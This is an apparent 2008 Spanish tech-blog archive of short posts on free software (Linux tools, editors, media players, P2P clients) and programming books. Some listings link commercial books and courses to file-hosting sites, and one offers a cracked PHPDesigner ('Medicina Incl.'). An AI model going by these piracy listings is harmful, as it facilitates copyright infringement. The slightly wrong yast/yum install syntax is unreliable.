A estas alturas ya todos sabemos que si lo que queremos es ejecutar cualquier aplicación de Windows en Linux (que extrañamos por alguna razón), usamos Wine. Ahora ¿y para hacer lo contrario cómo haríamos? ¿Cómo ejecutar aplicaciones de Linux en Windows?

La solución para ejecutar aplicaciones de Linux en Windows es un pequeño software que me he conseguido navegando por algunos blogs (Download Squad y gHacks) y lleva como nombre Ulteo Virtual Desktop, o lo que es lo mismo un escritorio virtual que emula Linux.

¿Emula Linux? Pues sí, prácticamente lo veo de esa forma. Ulteo Virtual Desktop integra una nueva barra de tareas en la parte superior de la interfase de Windows, al puro estilo de Ubuntu, en donde podrás acceder a las aplicaciones de Linux que son más comunes.

Aplicaciones como Firefox, Kopete, The GIMP, OpenOffice.org, Amarok, que como pueden darse cuenta, Ulteo Virtual Desktop contiene las aplicaciones más populares de lo que es la distribución de Linux más usada en la actualidad, Ubuntu, “Linux para seres humanos”.

¿Qué finalidad tiene esto? Supongo que es cuestión de incentivar a los usuarios que usan Windows a migrar a Ubuntu, ofreciéndoles el entorno visual del mismo, para que así le vayan agarrando el gusto y se vayan familiarizando con el entorno visual de Ubuntu.

Vía | Download Squad / gHacks
Sitio oficial | Ulteo Virtual Desktop
Descargar Ulteo Virtual Desktop

Ejecutando Live CDs de Linux en Windows con MobaLiveCD

2008-12-29T19:19:00.001-08:00

Y sí, ejecutar un Live CD de Linux en Windows no ha de ser una tarea tan difícil. Muchos dirán que sólo será cuestión de grabar en un disco la imagen de la distribución de Linux, arrancar desde el disco y listo, ya ejecutaríamos nuestro Live CD. MobaLiveCD innova esto.

MobaLiveCD es un software libre que nos permitirá ejecutar un Live CD desde Windows directamente sin necesidad de reiniciar nuestro sistema. En realidad crea un estilo de máquina virtual, en donde podemos ejecutar nuestras distribuciones de Linux en Live CD.

Como recordatorio decir que un Live CD por lo general es una imagen de disco que trae consigo el sistema operativo, que en nuestro caso sería la distribución de GNU/Linux, ya instalado, junto a sus aplicaciones, dispuesto para que lo podamos ejecutar desde sí mismo sin necesidad de instalarlo en nuestro equipo; por esa razón se llama Live CD.

Una característica interesante de MobaLiveCD es que es totalmente portátil, así que no requiere de instalación alguna y puedes llevarlo contigo adonde sea que tú vayas.

Sitio oficial | MobaLiveCD
Descargar MobaLiveCD

openSUSE 11.0 listo ya para descargar (distribución de Linux)

2008-12-29T19:18:00.003-08:00

Reconozco que a los linuxeros los tengo un poco olvidados en Blog Informático, pero ya veremos cómo poder organizarnos para sacar tiempo y satisfacer todas las necesidades de los lectores de este blog, que día a día crece gracias al apoyo de ustedes. Gracias.

Hace sólo unas horas se liberó oficialmente la versión 11.0 de una de las distribuciones de Linux que, en comparación con otras, es de las más sencillas para usar. El problema de todo sistema basado en Linux es su compleja forma de usar para lo más mínimo.

Sin embargo Ubuntu rompió este mito, y trajo a nosotros una distribución de Linux mucho más sencilla de usar. openSUSE (11.0) es también una distribución bastante sencilla, que consigo trae ciertas novedades interesantes, como Compiz Fusion, GNOME y KDE.

Por otro lado trae distintos programas multimedia para la reprodución y editción de vídeos y ficheros de audio, como también programas para la mensajería instantánea. Firefox 3 y OpenOffice.org 2.4 son incluidos en esta nueva versión de openSUSE, estimados amigos.

Visto en Genbeta
Sitio oficial | openSUSE
Descargar openSUSE

Creando tu propia distribución de Linux con Custom NimbleX 2

2008-12-29T19:18:00.001-08:00

Si quieres entrar en el mundo de Linux, probablemente no te gustaría tener que instalar un sistema operativo con todas las aplicaciones que trae, ¿y por qué no personalizar cómo tú quieres la distribución que instalarás junto con Linux en tu ordenador? Es la opción viable.

Existe una herramienta web llamada Custom NimbleX 2 que nos permitirá, vía web, seguir en un asistente y escoger qué aplicaciones se instalarán junto con el sistema operativo.

Paso a paso puedes ir escogiendo cuáles aplicaciones quieres tener con la distribución, entre las que puedes escoger desde OpenOffice.org hasta Firefox o cualquier otra que se te ocurra. A la final se te generará un archivo de imagen ISO para que lo descargues.

Una vez que tengas el fichero ISO puedes grabarlo en un CD y correr el sistema desde él, además, puedes compartir con tus amigos “tu distribución” sin problema alguno. No hay duda que Custom NimbleX 2 es otra opción más para entrar en el mundo de GNU/Linux.

Visto en Download Squad
Enlace | Custom NimbleX 2

Instalar Ubuntu (Linux) desde Windows fácilmente con Wubi…

2008-12-29T19:17:00.000-08:00

Alternativas de sistemas operativos existen muchas; está la más común, que es la que se usa más por cuestión de costumbre (Windows), la especial para los más exquisitos (Mac OS X) y está la más polémica (por los conflictos que crea: Linux). ¿Con cuál me quedo?

Muchos piensan que usar Linux es casi que imposible, por la complejidad en todo, si nada más la instalación es tan complicada, ¿cómo será usar el sistema como tal? Un completo misterio difícil y casi imposible de aprender. No se preocupen, que por lo menos Ubuntu, la distribución de Linux más usada hoy día, es una de las más amigables para el usuario doméstico, ya que implementa la potencialidad más un ambiente que es muy amigable.

Es por ello que Wubi nos será de gran ayuda, pues se trata de un programa que nos da la oportunidad de instalar Ubuntu de la forma más sencilla, directamente desde Windows, como si se tratara de un programa más; ¿qué mejor que ésto? Es demasiado sencillo.

Wubi es gratuito, en español; el proceso es sencillo. Descargas el programa, luego vas a escoger cuál será la versión de Ubuntu a instalar, el directorio en donde se instalará, y acto seguido, se instalará sin problema alguno. Realmente es la forma más simple y rápida.

Sitio oficial | Wubi
Descargar Wubi

Tutorial Perl

2008-12-29T19:02:00.001-08:00

Titulo : El Lenguaje Perl - Practical Extraction Report Language
Autor : Marcelo Espinosa Alliende
Contenido : 26 pgs
Indice :
1. Tipos de Datos
2. Estructuras de Control
3. Expresiones Regulares
4. CGI’s en Perl
5. Módulo DBI -Acceso a Bases de Datos
6. Como obtener ayuda de las funciones y módulos
7. Cpan

Instalar Ruby

2008-12-29T19:01:00.002-08:00

Windows

Solo tenemos que descargar el installer ...

Linux

Con esto se instalará el intérprete de Ruby, el IRB y la documentación.

Para instalarlo en Debian/Ubuntu deben poner esto en la Terminal:

sudo apt-get install ruby irb rdoc

Para instalarlo en Suse deben poner esto:

yast -install ruby irb rdoc

Para instalarlo en Fedora Core:

yum -install ruby irb rdoc

ScItE es muy útil es una herramienta para programar en diversos lenguajes, si desean bajarlo pongan:

sudo apt-get install scite

Tutorial de Ruby

2008-12-29T19:01:00.001-08:00

Titulo : Ruby Fácil
Autor : Diego F. Guillén Nakamura
Contenido : 90 pgs

Php y MySQL para Dummies

2008-12-29T19:00:00.000-08:00

Datos Técnicos
PHP y MYSQL para Dummies, Janet Valade (Segunda Edición)
Spanish | PDF | ISBN: 9968370703 | Janet Valade | 92 MB | 400 Páginas

Descripción
Bienvenidos al emocionante mundo de las aplicaciones con bases de datos para la Web.
Este libro brinda las técnicas para crear cualquier aplicación con bases de datos para uso en la Web, pero definitivamente le recomiendo que empiece con una que sea bastante simple. En este libro desarrollo dos ejemplos de aplicaciones, ambas escogidas para representar dos tipos de aplicaciones frecuentemente encontradas en la Web: catálogo de productos, y sitios restringidos a miembros o clientes que requieren que el usuario se suscriba y se registre por medio de una contraseña. Las aplicaciones de ejemplo son lo suficientemente complicadas, requieren más de un programa y usan un gran de variedad de datos y técnicas de manipulación de datos. A la vez son lo suficientemente simples de entender y de adaptar a una variedad de sitios web. Después de dominar las aplicaciones simples, podrá ampliar el diseño básico para incluir toda la funcionalidad que pueda imaginar.

Conenido General

1. Desarrollar una aplicacion Web con Base de Datos usando PHP y MySQL
2. Base de Datos MySQL
3. PHP
4. Aplicaciones
5. Los Diez Mas
6. Aprendice.

PHP5, El Lenguaje Para Los Profesionales De La Web

2008-12-29T18:59:00.002-08:00

Este libro está dirigido a usuarios noveles que no sepan programar en ningún lenguaje de desarrollo y a usuarios que ya conocen PHP, pero desean tener una base Sólida sobre la nueva versión. PHP 5 está ligado a Internet, por lo tanto, todas las aplicaciones prácticas del lenguaje están orientadas a realizar contenidos dinámicos para páginas. Por eso el lector debe conocer los aspectos básicos de diseño en HTML.
El libro puede dividirse en dos partes. Una primera en la que se detallan los conceptos principales del lenguaje como las variables, estructuras de control, manejo de cadenas de caracteres, creación de objetos y conectividad con bases de datos, que dará al lector novel una visión general de PHP 5 y le permitirá comenzar a desarrollar sus primeras aplicaciones.
La segunda parte, algo más compleja, hará las delicias del usuario novel y del medio. Esta cuenta con técnicas avanzadas para la lectura / escritura de archivos XML, creación de imágenes en tiempo de ejecución, conexiones de FTP y correo electrónico o diseño de plantillas con Smarty.
El Software Libre está presente en el ámbito de la programación. Por eso, podemos utilizar algunos programas libres como base para construir aplicaciones más complejas. El diseño de plantillas o la creaciуn de llamadas a procedimientos remotos no serнa posible sin las librerнas Smarty o IXR para XML-RPC desarrolladas por la comunidad de PHP para su uso libre.
Por tanto, el libro va dirigido a usuarios noveles que no saben nada de PHP. Pero también a usuarios medios o avanzados que desean conocer las nuevas características de PHP 5 y manejar técnicas avanzadas de comunicación y diseño.

PHPDesigner 2008 v6.2.1 Professional Multilenguaje, Editor Avanzado de PHP

2008-12-29T18:59:00.001-08:00

Datos Técnicos
PHPDesigner 2008 v6.2.1 Professional Multilenguaje
16.5 MB | Incl Spanish | Medicina Incl.

Descripción

PHP Designer es un completo entorno de desarrollo y programación especialmente diseñado para los gurús de PHP, aunque también permite trabajar con comodidad en otros lenguajes de programación como HTML, XHTML, CSS y SQL.
Ofrece toda una serie de asistentes y diálogos integrados que facilitan en todo momento tu tarea, además de acceso directo a librerías de código o scripts de uso habitual, utilidades diversas y toda suerte de herramientas, todo ello en una interfaz de diseño sencillo y elegante que puedes personalizar con nada menos que dieciocho temas distintos.
Cuenta con cliente de FTP y navegador de ficheros integrado, utilidades de corrección y autocompletado, búsqueda integrada en Google y soporte para proyectos, además de usar un práctico esquema de color para la sintaxis del código fuente que facilita enormemente la programación.
PHP Designer Soporta: PHP, HTML, XHTML, CSS, Java, Perl, JavaScript, VB, C# y SQL

La Biblia de MySQL

2008-12-29T18:58:00.001-08:00

MySQL HA CRECIDO. Lo que durante un tiempo se considerá como un sencillo juguete para su uso en sitios Web, se ha convertido en la actualidad en una solucion viable y de misión critica para la administración de datos. Antes,
MySQL se consideraba como la opción ideal para sitios Web; sin embargo, ahora incorpora muchas de las funciones necesarias para otros entornos y conserva su gran velocidad. MySQL supera desde hace tiempo a muchas soluciones comerciales en velocidad y dispone de un sistema de permisos elegante y potente, y ahora, además, la versión 4 incluye el motor de almacenamiento InnoDB compatible con ACID.
MySQL 4 es rápido, dispone de funciones de volcado online e incorpora una gran cantidad de funciones nuevas. Son pocas las razones para desechar MySQL como solución de base de datos. MySQL AB, la compañía responsable del desarrollo de MySQL, dispone de un sistema de asistencia eficiente y a un precio razonable, y, como ocurre con la mayor parte de las comunidades de codigo abierto, encontrara una gran cantidad de ayuda en la Web. Las funciones estándar no incluidas todavía en MySQL (como las vistas y los procedimientos almacenados) están en fase de desarrollo y es posible que estén disponibles para cuando lea estas lineas.
Son muchas las razones para escoger MySQL como solución de misión critica para la administración de datos.

Coste: El coste de MySQL es gratuito para la mayor parte de los usos y su servicio de asistencia resulta económico.
Asistencia: MySQL AB ofrece contratos de asistencia a precios razonables y existe una nutrida y activa comunidad MySQL.
Velocidad: MySQL es mucho mas rápido que la mayor parte de sus rivales.
Funcionalidad: MySQL dispone de muchas de las funciones que exigen los desarrolladores profesionales, como compatibilidad completa con ACID, compatibilidad para la mayor parte de SQL ANSI, volcados online, duplicación, funciones SSL e interacción con la mayor parte de 10s entornos de programación. Asi mismo, se desarrolla y actualiza de forma mucho mas rápida que muchos de sus rivales, por lo que practicamente todas las funciones estándar de MySQL todavía no están en fase de desarrollo.
Portabilidad: MySQL se ejecuta en la inmensa mayoría de sistemas operativos y, la mayor parte de los casos, 10s datos se pueden transferir de un sistema a otro sin dificultad.
Facilidad de uso: MySQL resulta fácil de utilizar y de administrar. Gran parte de las viejas bases de datos presentan problemas por utilizar sistemas obsoletos, lo que complica innecesariamente las tareas de administración. Las herramientas de MySQL son potentes y flexibles, sin sacrificar su capacidad de uso.

Curso Virtual de PHP en Español(Ed. 2006)

2008-12-29T18:54:00.001-08:00

Datos Técnicos

Curso Virtual de PHP en Español(Ed. 2006)
180 MB | ISO | Spanish

Descripción

PHP es un lenguaje de programación usado normalmente para la creación de contenido para sitios web con los cuales se puede programar las páginas html y los códigos de fuente.

El presente curso virtual de PHP, edición 2006, incluye el material necesario ya sea software o manuales de instalación para la realizavión del curso.

Contenido

• Que son Páginas Web dinámicas?
• Aprendiendo PHP con Dev-PHP.
• Instalando Servidor Apache.
• Aprendiendo el Intérprete de PHP.
• Realización de la Configuración de Apache.
• Configurando PHP.
• Instalación Rapida de Apache y PHP
• Introducción a la Base de datos MySQL
• Coniciendo PhpmyAdmin
• Uso avazando de PHP-MySQL.

Software Necesario

apache 1.3
php 4.4
mysql 4
phpMyAdmin2

Enlaces

Megaupload
Parte 1 | Parte 2
Rapidshare
Parte 1 | Parte 2
Filefactory
Parte 1 | Parte 2

Aprende ingles en 7 días - Ramón Campayo

2008-12-29T18:53:00.001-08:00

Contenido

Fundamentos de nuestro método, La pronunciación figurada, Tablas de vocabulario, Verbos, Sustantivos, Adjetivos, Adverbios, Saludos, Cortesía, Palabras interrogativas, pronombres personales, pronombres posesivos, Pronombres demostrativos, Artículos, preposiciones y conjunciones, Números, Conjugaciones escenciales, Verbo To Be, Verbo To Have, verbo Can, Gramática fundamental

Descripción : Aprende Ingles en 7 Días.
Autor : Ramón Campayo

Desarrolla Una Mente Prodigiosa, Ramon Campayo

2008-12-29T18:52:00.000-08:00

Descripción

Todos podemos desarrollar y mejorar nuestra mente hasta límites insospechados. Solo es necesario desearlo, acceder a un método eficaz y disponer de un guía experto. Ramón Campayo, campeón mundial de memorización y lectura rápida -con varios récords mundiales en su haber- y avalado por una amplia experiencia didáctica, nos propone este libro que es la obra más completa nunca publicada en esta materia que le permitirá estudiar, preparar exámenes y oposiciones de la manera más práctica, fácil, rápida y efectiva. Siguiendo los métodos claramente descritos en el libro, usted podrá aumentar ostensiblemente su capacidad de memoria y su rapidez de lectura y comprensión en muy poco tiempo, además incluye métodos de aprendizaje, técnicas de estudio y preparación psicológica. Este libro está dirigido no solo a aquellos estudiantes que esperan obtener un rendimiento del 100%, sino a todo el mundo que desee multiplicar su fuerza mental. No lo olvide: si una persona conoce los secretos de su mente y como utilizarla correcta y positivamente, podrá superar muchos problemas de su vida cotidiana y erradicar gran parte de sus preocupaciones.

Entrevista a Ramon Campayo

http://www.megavideo.com/?v=LU1JYZ50

Enlaces

Rapidshare | Easy-Share | Filefactory

Aprende Un Idioma En 7 Dias, Ramon Campayo

2008-12-29T18:50:00.000-08:00

Descripción

Ramón Campayo, poseedor de numerosos récords mundiales de memorización y autor del éxito de ventas Desarrolla una mente prodigiosa, nos sorprende ahora con este libro para el aprendizaje de idiomas, en el que demuestra cómo el lector, siguiendo su método, será capaz en solo siete días de defenderse en cualquier idioma de un modo eficaz y solvente. Con este revolucionario método para el rápido aprendizaje de idiomas los lectores no sólo disfrutarán aprendiendo, sino que también desarrollarán su mente incrementando enormemente su capacidad de imaginación y de concentración.

Enlaces

Rapidshare | Megaupload | Filefactory

Sockso, nueva forma de montar un servidor de música online

2008-12-29T18:49:00.001-08:00

Si reflexionamos un momento nos damos cuenta que estamos sumergidos en un mundo tan tecnológico que hasta para ir al odontólogo estamos relacionados con la tecnología; yo, en lo personal, tengo 19 años, y recuerdo cómo hace 10 años todo era tan distinto.

Y en este mundo tan tecnológico no puede pasar por desapercibida lo que tiene que ver con la música, pues además de ser un arte, para otros es un hobbie, pasatiempo favorito, trabajo, relajación y todo lo que tenga que ver con el entretenimiento sano de un humano.

Si eres maniático de la música (tanto oír, componer o producir), ¿por qué no compartir toda esa biblioteca musical? Sockso es un excelente software libre que te permitirá montar tu propio servidor de música (como una radio) totalmente en línea de una sencilla forma.

Sockso es un programa multiplataforma pues está disponible tanto para Windows, como para Linux y Mac OS; el truco está en gestionar tu biblioteca musical en tu equipo, y desde cualquier lugar del mundo se puede acceder a la misma mediante un navegador web.

Visto en Ghacks
Enlace | Sockso
Manual de Sockso

Consigue una máquina virtual confiable y estable: VirtualBox

2008-12-29T18:48:00.003-08:00

¿Máquina virtual? Muchos desconocen qué es, y es bueno difundir los conocimientos que se van adquiriendo poco a poco en la vida; una máquina virtual es un tipo de software que emula un equipo independiente, mediante el cual se puede instalar un sistema operativo.

Muchas veces, éstos, son usados con este fin: usar un sistema operativo paralelamente al que se está usando como base, como el ejemplo más clásico, usar Linux en Windows. Y es por esto que VirtualBox es uno de los mejores programas que existen actualmente.

VirtualBox incluye todos los drivers (controladores) de dispositivos USB, por lo que no es necesario instalar para cada dispositivo USB su respectivo driver, al menos en los casos que lo amerite, como impresoras, o webcams, u otros componentes con conectores USB.

Con VirtualBox podrás instalar Windows en Mac OS X o Linux, o Linux en Windows o Mac OS X y así se pueden hacer ligas con todos estos sistemas operativos; lo mejor será que podemos conocer otras filosofías o formas de trabajo de distintos sistemas operativos.

Sitio oficial | VirtualBox
Descargar VirtualBox

The GIMP 2.6: Excelente programa editor gráfico open source

2008-12-29T18:48:00.001-08:00

En el ámbito del software libre hay alternativas para todos los programas; por ejemplo si nos ponemos a hablar de navegadores web está Firefox, en el caso de editores gráficos tenemos al que hoy es protagonista de ésta entrada, The GIMP, un potente editor gráfico.

Lo mejor de The GIMP es su fácil uso, pero más allá la usabilidad, podemos tocar temas como la compatibilidad: funciona perfectamente en varias plataformas, como en Windows, Linux, Mac OS X, entre otros, por lo que se deduce que es un software multiplataforma.

Por otro lado The GIMP te ofrece un completo entorno de manipulación de imágenes que en sí mismo incluye todas las funciones y herramientas necesarias para el buen manejo de imágenes, para hacer los mejores trabajos y retoques fotográficos con profesionalidad.

Decir también que The GIMP soporta una amplia lista de formatos de imágenes entre los que se destacan: BMP, GIF, JPG, PCX, PNG, PS, TIF, TGA, XPM, entre otras docenas más.

Sitio oficial | The GIMP
Descargar The GIMP

Sweet Home 3D: Diseño de hogares en 3D con este software

2008-12-29T18:47:00.005-08:00

El diseño asistido por computadora es un área con bastante auge en los últimos tiempos, sobre todo para los arquitéctos, ya que el trabajo se les hace más sencillo. Un computador puede ofrecer todo lo que se necesita para diseñar un lindo hogar, sin problema alguno.

Claro está que se necesita un equipo con altas capacidades en cuando a procesamiento de datos y memoria RAM se refiere. En este sentido conocemos Sweet Home 3D, potente software libre para la creación de interiores de hogares en 3D, con altas capacidades.

El software es multiplataforma, es decir, funciona en distintos sistemas operativos, como Windows, Mac OS X, Linux, Solaris, entre otros; por otro lado es mutlilenguaje, ya que está disponible en más de 5 idiomas, entre los que están inglés, español, alemán, y otros más.

Por ser open source, Sweet Home 3D está siendo desarrollado por una gran comunidad de programadores que trabajan con mucha motivación para impulsar al programa a que sea la mejor plataforma para el desarrollo de interiores de hogares y edificaciones en 3D.

Visto en Freeware Updates
Sitio oficial | Sweet Home 3D
Descargar Sweet Home 3D

Daphne: Un administrador de procesos gratuito para Windows

2008-12-29T18:47:00.003-08:00

El S.O. Windows incluye por defecto un gestor de procesos (administrador de tareas es su nombre o Taskmgr, que es el nombre del proceso) que carece de algunas opciones, y es por ello que programas como Daphne salen a la luz pública, a ofrecer más posibilidades.

Un gestor de procesos es un programa que permite al usuario ver información acerca de los procesos, como también permite administrarlos, es decir, realizar acciones sobre los procesos activos, como: eliminarlos, asignarles prioridad, ejecutar alguno, y mucho más.

Daphne es un potente gestor de procesos que te permite visualizar información sobre los procesos que se ejecutan en Windows, viendo el uso del CPU de cada uno, como también la prioridad que tienen; por supuesto, puedes gestionar dichos procesos, matarlos, etc.

En este sentido Daphne permite ver los siguientes datos de cada proceso: ID y nombre del proceso, ruta completa, prioridad, tipo (proceso o servicio), uso de memoria y uso del CPU, prioridad, y mucho más. Definitivamente, es un buen gestor de procesos para Windows.

Por cierto, aprovecho para enviar un saludo y una felicitación por parte de Blog Informático al creador de Daphne, un argentino llamado Leandro H. Fernández. Muy buen trabajo mi estimado amigo, qué orgullo saber que en LatinoAmérica también existe mucho talento.

Visto en SnapFiles
Enlace | Daphne

KeePass 1.14: Un seguro gestor de contraseñas para Windows

2008-12-29T18:47:00.001-08:00

¿Quién no ha llegado a un punto en el que de tantas cuentas de usuario que uno tiene en diferentes sitios, comunidades, foros, aplicaciones web, etc., y se encuentra en un estado en el que ya no sabe qué hacer con tantas contraseñas pues su mente ya no le da más?

Y es por esa razón (la que les expuse anteriormente) es que yo me veo en la necesidad de encontrar una solución o una vía alterna a esa problemática. Las claves y contraseñas son datos que tienen mucha importancia para nosotros como usuarios recurrentes de Internet.

Dos potentes gestores de contraseñas son Bytessence PassKeeper y ALPass, pero ahora vamos a hablarles de KeePass, un administrador de contraseñas de código abierto que le ofrece al usuario un completo entorno para mantener tus cuentas de usuario aseguradas.

KeePass es un software portátil que no requiere de instalación, está en español, y trabaja sobre Windows Vista, XP, 2000, etc. Por otra parte el programa te ofrece alta seguridad con algoritmos de encriptación; también puedes expotar los datos a formato HTML, TXT, CSV, y otros. Por cierto, incluye un potente generador de contraseñas aleatorias, y mucho más.

Sitio oficial | KeePass
Descargar KeePass

InfraRecorder: Grabación de CD y DVD con este software libre

2008-12-29T18:46:00.004-08:00

Y si de software libre se trata, ya sabemos que es un tema muy interesante, aunque vamos a estar claros en algo: carece de fundamentos filosóficos, tal vez por ello, según mi opinión particular, es que el software de código abierto, hasta ahora, no es tan difundido, ¿cierto?

Pero de cualquier manera, podemos seguir indagando; ahora vamos con la grabación de discos, que por supuesto se trata de un tema importante. Antes de ayer les hablábamos de CDBurnerXP, una de las alternativas gratis a Nero que más se asemeja a la perfección.

InfraRecorder, software libre, que está enfocado al área de grabación de discos, te ofrece soporte tanto para CD como para DVD (soportando los de doble capa), permitiéndote crear discos de datos, de audio, de vídeo, mixtos, como también soporta las imágenes de disco.

Con respecto a las imágenes de disco, InfraRecorder soporta los ISO/BIN/CUE. También incluye unas herramientas para limpiar (o borrar) discos regrabables (CD-RW), y tiene un soporte para los populares “discos multi-sesión”, que probablemente a muchos les es útil.

Sitio oficial | InfraRecorder
Descargar InfraRecorder

Ares 2.1.0: El cliente P2P para descargar música por excelencia

2008-12-29T18:46:00.003-08:00

Si no he escrito en estos días es porque he estado un poco ocupado, no solamente con mis estudios, sino también con el trabajo y por otra parte, el matrimonio de mi hermano mayor, que se casa este sábado 29, como comprenderán es un poco complicado todo.

Sin embargo hoy vamos a hablar sobre uno de los clientes P2P que no puede faltar en una PC de un usuario doméstico que tenga acceso a Internet, o lo que es lo mismo: Ares. Éste programa se ha convertido en un punto de referencia cuando de bajar música se trata.

Ares es uno de los mejores programas P2P, puedes bajar música, vídeos, programas, conciertos, álbumes completos del artista que quieras, y todo lo que se te pueda imaginar. Está en español, es software libre, compatible con todas las versiones de Windows.

En cuanto a la facilidad de uso, Ares se puede convertirse en tu mejor amigo. Cuenta con un entorno muy amigable y fácil de usar, dotado de un sistema de navegación, en el que puedes disponer de lo que quieras con un par de clics; en definitiva, la mejor opción.

Sitio oficial | Ares
Descargar Ares

Kantaris: Reproductor de audio y vídeo gratuito para Windows

2008-12-29T18:46:00.001-08:00

Sí, cuando leemos “reproductor de audio y vídeo gratis” probablemente sentimos un grato placer de que tenemos un reproductor que es a todo dar, que te permitirá ver tanto vídeos como escuchar nuestros ficheros MP3, pero aún hay mucho más para hablar sobre éstos.

Pues muchos reproductores permiten reproducir vídeos y ficheros de audio, como también películas DVD, y todo ésto sin la necesidad de un paquete de códecs adicional, ya que su compatibilidad es casi que impresionante; Kantaris es uno de éstos potentes programas.

Los formatos de audio y vídeo que reproduce son AVI, MPEG, MGEG-AVC, WMV, MOV, MKV, quicktime, matroska, divx, xvid, H264, MP3, WMA, OGG. Por otra parte Kantaris te permitirá reproducir películas en formato DVD y también todos tus discos de música (CD de audio).

Kantaris está basado en el código de VLC Media Player, que particularmente considero es el mejor reproductor actualmente; como se pueden dar cuenta es open source, por lo que su código está libre para ser estudiado y por supuesto para sacar de él mucho partido.

Sitio oficial | Kantaris
Descargar Kantaris

VLC Media Player: El mejor reproductor de vídeos (Windows)

2008-12-29T18:44:00.001-08:00

Muchas veces quise escribir sobre VLC Media Player, pero me cohibía pues tiene mucho para hablar sobre este reproductor de vídeos, ya que reúne las características necesarias para calificarlo como el mejor reproductor de vídeos hoy día, es software multiplataforma.

VLC Media Player es un software multiplataforma, como ya lo mencioné anteriormente, el cual soporta los siguientes sistemas operativos: Linux (Ubuntu, Debian, Fedora, Mandriva, etc), Windows (XP, Vista, 98), Mac OS X. Un programa que cuenta con mucha proyección.

Por otro lado VLC Media Player incluye todos los códecs de vídeosq ue puedas imaginarte, por lo que no necesitarás de instalar un paquete adicional; entre los formatos soportados están: MPEG, AVI, MKV, 3GP, FLV, FLAC, ASF, MOV, DVD, VCD, OGG, OGM, entre otros más.

Aunque el fundamento de VLC Media Player es el vídeo, también soporta la reproducción de ficheros de audio, siendo compatible con bastantes formatos de audio como: AAC, MP3, WMA. Lo mejor de este programa es que se integra totalmente con el sistema operativo.

Sitio oficial | VLC Media Player
Descargar VLC Media Player

Descargar y probar el nuevo LimeWire 5: Renovado y mejorado

2008-12-29T18:43:00.000-08:00

Siempre he recomendado que si nuestro Ares (uno de los clientes P2P más usados) no funciona, porque se queda en “Conectando”, la mejor opción es usar LimeWire, otro cliente P2P libre, bastante potente, aunque tiene sus defectos, como cualquier software por ahí.

Hoy día vemos que liberan la nueva versión (aún en fase Alpha de desarrollo), LimeWire 5, que cambió drástica y elocuentemente de una manera muy impresionante, y no sólo en su aspecto sino en funcionalidades. Veamos lo más destacado de ésta versión disponible ya.

El primer cambio de LimeWire 5 más destacado es la nueva interfaz, que es ahora mucho más bonita y amigable que la anterior; aunque hablando de ésta me atrevo a decir que no está muy bien acabada la traducción, casi un 80% de las palabras están en inglés aún, de lógica es, pues como es una versión aún en fase de desarrollo, faltan bastantes detalles.

Con respecto a las funcionalidades LimeWire 5 mejoró en el intercambio de ficheros entre amigos, que con sólo hacerte amigo de tus contactos podrás intercambiar directamente, importando contactos de Gmail, LiveJournal y Jabber. También mejoró en la privacidad.

Sitio oficial | LimeWire 5
Descargar LimeWire 5

Usa LopeEdit Lite y reemplaza el Bloc de notas de Windows

2008-12-29T18:41:00.000-08:00

LopeEdit Lite, por ejemplo, es un excelente programa gratuito para el S.O. Windows que fácilmente puede convertirse en ese reemplazo al clásico y poco funcional Bloc de notas que incluye Windows. ¿Por qué? Por sus características y sus posibilidades.

Aclaro que LopeEdit Lite no se trata de un editor de texto básico similar al Bloc de notas de Windows, sino más bien un editor de texto avanzado con soporte para diversos lenguajes de programación, como C/C++, Java, JavaScript, Visual Basic, VBScript, XML, HTML, ASP, JSP, SQL, Cobol, C#, CSS (Cascading Style Sheets), Pascal, Perl y también PHP.

Entre otras cosas LopeEdit Lite incluye funciones como: resaltado de sintaxis, grupos de pestañas, búsquedas rápidas y efectivas, opciones para la búsqueda y reemplazos de texto, tabla ASCII, coloreado de sintaxis, vista rápida de archivos y mucho más.

Sitio oficial | LopeEdit Lite
Descargar LopeEdit Lite

SimpEdit: Bloc de notas y editor avanzado de programación

2008-12-29T18:31:00.000-08:00

Hablamos de SimpEdit, que como dice en el título de este post, es un bloc de notas, o mejor dicho, un editor de texto, pero que además de eso, es un editor de lenguajes de programación que es de carácter avanzado, que soporta entre más de 10 lenguajes.

Entre los lenguajes de programación soportados por SimpEdit tenemos ASM, C++, C#, CSS, HTML, INI, JAVA, JS, BAT, CMD, INNO, NSIS, Pascal, Delphi, Perl, PHP, Python, SQL, TCL, TeX, HTML y XML. Incluye un visualizador de páginas web y excelente compilador.

Y si lo que quieres es convertir tus páginas estáticas HTML a PHP, Javascript o ASP, ya no tienes que buscar algo del otro mundo pues SimpEdit tiene un conversor de HTML a dichos formatos nombrados. Por cierto, el programa es portátil y no requiere instalación.

Sitio oficial | SimpEdit
Descargar SimpEdit

SSE Setup, crea un instalador / desinstalador a tu software

2008-12-29T18:29:00.001-08:00

SSE Setup es un programa gratuito para Windows con el cual tienes un sistema para crea instaladores y desinstaladores a tus creaciones. Su uso es bastante intuitivo, y más aún lo es su instalación, que a nadie confundirá por ser tan automático y sencillo.

Usando SSE Setup podrás crear tus sistemas de instalación personalizados, añadir y borrar entradas en el registro del sistema, registrar librerías DLL y archivos OCX, crear accesos directos en donde le especifiques (escritorio, menú de inicio, etc).

Por otro lado decir que SSE Setup está completamente en español, y todos sus diálogos de licencia también. Sólo será cuestión de personalización para que puedas conseguir el instalador / desinstalador adecuado para todas tus aplicaciones y desarrollos.

Sitio oficial | SSE Setup
Descargar SSE Setup

Crimson Editor: Software para programar en HTML, Java, C++…

2008-12-29T18:28:00.001-08:00

Principalmente Crimson Editor es una perfecta alternativa al bloc de notas de Windows, es decir, es un práctico editor de texto con las funciones de siempre. No obstante, tiene otras funcionalidades más avanzadas, como la codificación para lenguajes de programación.

Entre los lenguajes de programación soportados por Crimson Editor tenemos C++, HTML, Java, Perl, MatLab y Latex. El programa es bastante ligero y rápido para lo que puede hacer pues tan sólo pesa 1,2 MB, lo cual no es significativamente nada en la actualidad.

Algo que me parece bastante interesante y que no puedo dejar pasar por alto es que si bien es cierto el programa soporta los lenguajes de programación que ya dije, pero, si lo que queremos es expandir las posibilidades del programa, el mismo incluye un editor de sintaxis con el cual podremos agregar sintaxis de otros lenguajes de programación.

Este programa está en inglés, y su licencia es software libre, para cualquier uso.

Sitio oficial | Crimson Editor
Descargar Crimson Editor

codepad: Programando online aplicaciones en C, C++, Perl…

2008-12-29T18:27:00.001-08:00

Si eres un programador que se la pasa “echando códigos” en su ordenador, lo más probable es que cuentes con un entorno de desarrollo para el lenguaje de programación en el que te destacas. Pero, ¿qué pasa si estamos en un ordenador ajeno al nuestro?

